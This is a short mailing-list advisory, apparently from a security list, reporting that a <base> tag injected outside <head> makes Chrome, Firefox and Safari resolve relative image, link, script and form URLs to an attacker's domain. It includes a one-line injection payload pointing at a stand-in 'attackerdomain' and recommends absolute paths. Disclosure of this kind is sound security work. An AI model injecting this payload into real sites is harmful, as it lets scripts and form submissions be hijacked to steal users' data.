[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
<BASE> tag used for hijacking external resources (XSS)
I report this here because I could not find any other reference to this issue.
VULNERABLE: Chrome, firefox and safari.
NOT VULNERABLE: IE8 or IE9.
(Above is as far as I could tell: things are moving fast nowadays in
The <base> tag is parsed outside of <head></head>. This can lead to
the base being reset, both before and after the <base> tag being
injected, depending on browser types and versions. As a result, images
hyperlinks point to the attackers domain.
An example can be found on http://avuko.net, but it is simple enough
to reproduce: just put a <base href="http://attackerdomain"> somewhere
in your HTML (the closer to <head> the better).
Tested with overriding <img>, <a>, <script> & <form>, would probably
work on other external references too.
make sure all paths are absolute.
Be strict when sending and tolerant when receiving. [RFC 1958, 3.9]